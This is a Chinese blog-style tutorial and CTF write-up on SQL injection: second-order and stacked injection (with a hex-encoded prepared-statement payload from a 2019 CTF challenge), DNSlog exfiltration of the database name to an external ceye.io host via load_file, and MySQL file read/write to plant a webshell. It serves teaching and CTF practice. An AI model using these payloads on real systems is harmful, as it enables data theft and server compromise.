当前位置: 首页 > news >正文

sql注入 --二次注入堆叠注入文件读取getshell

二次注入

二次注入原理:

SQL二次注入,指的是在有些应用场景下,我们先把SQL注入的payload写入到目标站点数据库中,然后再在某些实际将该数据取出,使得我们写入的payload执行。
在这里插入图片描述

堆叠注入

条件:

因为堆叠注入原理就是通过结束符(;)同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL。
所以要想目标存在堆叠注入,在目标代码中存在类似于mysqli_multi_query()这样的函数并且也要看目标数据库类型是否支持多语句执行

举例,强网杯2019随便注

[BUUCTF在线评测](https://buuoj.cn/challenges#[强网杯 2019]随便注)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

详解这一段

  1. SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460; 这一行是将一个十六进制字符串赋值给用户定义的变量 @a。这个十六进制字符串代表的是 ASCII 编码的字符,解码后为 select flag from 20191919810931114514
  2. prepare execsql from @a; 这一行是准备一个名为 execsql 的预处理语句,其 SQL 语句内容来自于变量 @a
  3. execute execsql; 这一行是执行刚才准备的预处理语句。

DNSlog外带

注入条件

1、需要root权限

2、secure-file-priv安全配置关闭

select load_file(concat(‘//’,(select database()),‘ivxyak.ceye.io/ss’))

mysql文件读写getshell

条件:
1、配置文件关闭secure_file_priv参数 (该参数限制文件操作目录)

2、知道网站绝对路径

3、对文件夹有写入权限

语句

select load_file(‘E:\1.txt’):读取1.txt文件

select ‘123’ into outfile ‘E:\2.txt’:写入文件

直接写入webshell即可getshell


http://www.mrgr.cn/news/57245.html

相关文章:

  • Python | Leetcode Python题解之第494题目标和
  • mysql语法时采用了双引号 ““的错误
  • element设置时间和日期框早于现在的时间和日期禁用
  • 轮廓相似度比较
  • Linux:在xshell中演示在没有图形化界面的情况下如何使用gdb工具对代码进行调试
  • 【stm32】DMA的介绍与使用
  • Windows 操作系统中事件驱动架构与注册表
  • 申请https证书
  • 从0开始学Python-day6-元祖、字典、集合
  • “避免序列化灾难:掌握实现 Serializable 的真相!(二)”
  • 记录一次从nacos配置信息泄露到redis写计划任务接管主机
  • 【C++算法】11.滑动窗口_最大连续1的个数lll
  • 【Java面向对象三大特征——封装】
  • 青训营 X 豆包MarsCode 技术训练营--充电总时间计算
  • 智能体能和人工智能有什么区别?
  • 云岚到家系统优化
  • 8阻塞队列
  • Python项目内网环境pdm install超时httpx.ReadTimeout: timed out
  • Vue Router实现路由懒加载
  • 简记 Vue3(一)—— setup、ref、reactive、toRefs、toRef
  • Linux中如何理解一切皆文件
  • Python包——Matplotlib
  • 各种数据类型的定义与常规计算
  • 第23周Java主流框架入门-SpringMVC 3.拦截器
  • 【单元测试】深入解剖单元测试的思维逻辑
  • 【论文速看】DL最新进展20241023-多模态、无监督学习、多任务、图像修复